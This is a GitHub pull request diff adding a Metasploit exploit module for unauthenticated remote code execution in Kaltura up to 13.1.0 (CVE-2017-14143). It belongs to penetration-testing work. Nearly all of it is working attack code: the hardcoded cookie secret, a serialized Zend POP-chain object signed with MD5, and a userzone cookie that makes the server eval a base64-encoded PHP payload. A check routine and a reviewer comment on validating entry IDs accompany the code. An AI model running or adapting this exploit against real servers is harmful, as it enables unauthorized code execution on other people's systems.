Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add module for Kaltura <= 13.1.0 RCE (CVE-2017-14143) #9114

Merged
merged 4 commits into from
Jan 23, 2018
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
146 changes: 146 additions & 0 deletions modules/exploits/linux/http/kaltura_unserialize_cookie_rce.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,146 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
CookieSecret = 'y3tAno3therS$cr3T'

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Kaltura Remote PHP Code Execution over Cookie',
'Description' => %q{
This module exploits an Object Injection vulnerability in Kaltura.
By exploiting this vulnerability, unauthenticated users can execute
arbitrary code under the context of the web server user.

Kaltura makes use of a hardcoded cookie secret which allows to sign
arbitrary cookie data. After passing this signature check, the base64-
decoded data is passed to PHPs unserialize() function which allows for
code execution. The constructed object is again based on the SektionEins
Zend code execution POP chain PoC. Kaltura versions prior to 13.1.0 are
affected by this issue.

A valid entry_id (which is required for this exploit) can be obtained
from any media resource published on the kaltura installation.

This module was tested against Kaltura 13.1.0-2 installed on Ubuntu 14.04.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Robin Verton <hello@robinverton.de>',
'Mehmet Ince <mehmet@mehmetince.net>' # first kaltura rce module
],
'References' =>
[
['CVE', '2017-14143']
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [ ['Automatic', {}] ],
'DisclosureDate' => 'Sep 12 2017',
'DefaultTarget' => 0
))

register_options(
[
OptString.new('TARGETURI', [true, 'The target URI of the Kaltura installation', '/']),
OptString.new('ENTRYID', [true, 'Valid entry ID of any media resource (example: 0_lahha4c9)', ''])
]
)
end

def check
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

As far as I can understand, you need to use valid entry_id. So why don't you directly send HTTP request to the [target.com]/index.php/keditorservices/getAllEntries?list_type=15&entry_id=0_28bwo20l and look for 0_28bwo20l at the returned XML file.

Valid entryid:
http://[target.com]/index.php/keditorservices/getAllEntries?list_type=15&entry_id=0_28bwo20l

Response

<assets>
<asset id="0_28bwo20l" name="PAISD Mobile App Video" media_type="1" kshow_id="0_duymlto7" url="/content/entry/data/4/278/0_28bwo20l_" ready="1" thumbnail_path="/content/entry/thumbnail/4/278/0_28bwo20l_100001.jpg" credit="rpicon" source_link="file:/opt/kaltura/web/content/uploads/8221424122327.1663_1wfwuh0mo0wck8ccgokg.mov_.mov" duration="283" list_type="show" contributor_screen_name="ANONYMOUS"/>
</assets>

Unvalid entryid:
http://[target.com]/index.php/keditorservices/getAllEntries?list_type=15&entry_id=0_ffffffff

response

<assets>

</assets>

r = rand_text_alpha(15 + rand(4))
entry_id = datastore['ENTRYID']
cmd = "print_r(#{r}).die()"

p = ""
p << "a:1:{s:1:\"z\";O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";"
p << "a:1:{i:0;O:20:\"Zend_Log_Writer_Mail\":5:{s:16:\"\00*\00_eventsToMail\";"
p << "a:1:{i:0;i:1;}s:22:\"\00*\00_layoutEventsToMail\";a:0:{}s:8:\"\00*\00_mail\";"
p << "O:9:\"Zend_Mail\":0:{}s:10:\"\00*\00_layout\";O:11:\"Zend_Layout\":3:{s:13:\"\00*\00_inflector\";"
p << "O:23:\"Zend_Filter_PregReplace\":2:{s:16:\"\00*\00_matchPattern\";s:7:\"/(.*)/e\";"
p << "s:15:\"\00*\00_replacement\";s:#{cmd.length.to_s}:\"#{cmd}\";}s:20:\"\00*\00_inflectorEnabled\";"
p << "b:1;s:10:\"\00*\00_layout\";s:6:\"layout\";}s:22:\"\00*\00_subjectPrependText\";N;}}};}"

encoded = Rex::Text.encode_base64(p)
hash = Rex::Text.md5("#{encoded}#{CookieSecret}")

res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php', 'keditorservices', 'getAllEntries'),
'vars_get' => {
'list_type' => '15',
'entry_id' => entry_id
},
'cookie' => "userzone=#{encoded}#{hash}"
)

if res && res.redirect?
print_error("Got a redirect, maybe you are not using https? #{res.headers['Location']}")
Exploit::CheckCode::Safe
elsif res && res.body.include?(r)
Exploit::CheckCode::Vulnerable
elsif !check_entryid
print_error("Invalid ENTRYID")
Exploit::CheckCode::Safe
else
Exploit::CheckCode::Safe
end
end

def check_entryid
entry_id = datastore['ENTRYID']
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php', 'keditorservices', 'getAllEntries'),
'vars_get' => {
'list_type' => '15',
'entry_id' => entry_id
}
)

return res.body.include? entry_id
end

def exploit
entry_id = datastore['ENTRYID']
cmd = "print_r(eval(base64_decode('#{Rex::Text.encode_base64(payload.encode)}'))).die()"

p = ""
p << "a:1:{s:1:\"z\";O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";"
p << "a:1:{i:0;O:20:\"Zend_Log_Writer_Mail\":5:{s:16:\"\00*\00_eventsToMail\";"
p << "a:1:{i:0;i:1;}s:22:\"\00*\00_layoutEventsToMail\";a:0:{}s:8:\"\00*\00_mail\";"
p << "O:9:\"Zend_Mail\":0:{}s:10:\"\00*\00_layout\";O:11:\"Zend_Layout\":3:{s:13:\"\00*\00_inflector\";"
p << "O:23:\"Zend_Filter_PregReplace\":2:{s:16:\"\00*\00_matchPattern\";s:7:\"/(.*)/e\";"
p << "s:15:\"\00*\00_replacement\";s:#{cmd.length.to_s}:\"#{cmd}\";}s:20:\"\00*\00_inflectorEnabled\";"
p << "b:1;s:10:\"\00*\00_layout\";s:6:\"layout\";}s:22:\"\00*\00_subjectPrependText\";N;}}};}"

encoded = Rex::Text.encode_base64(p)
hash = Rex::Text.md5("#{encoded}#{CookieSecret}")

res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php', 'keditorservices', 'getAllEntries'),
'vars_get' => {
'list_type' => '15',
'entry_id' => entry_id
},
'cookie' => "userzone=#{encoded}#{hash}"
)

if res && res.redirect?
print_error("Got a redirect, maybe you are not using https? #{res.headers['Location']}")
elsif res && res.code != 200
print_error('Unexpected response...')
else
print_status("Output: #{res.body}")
end
end
end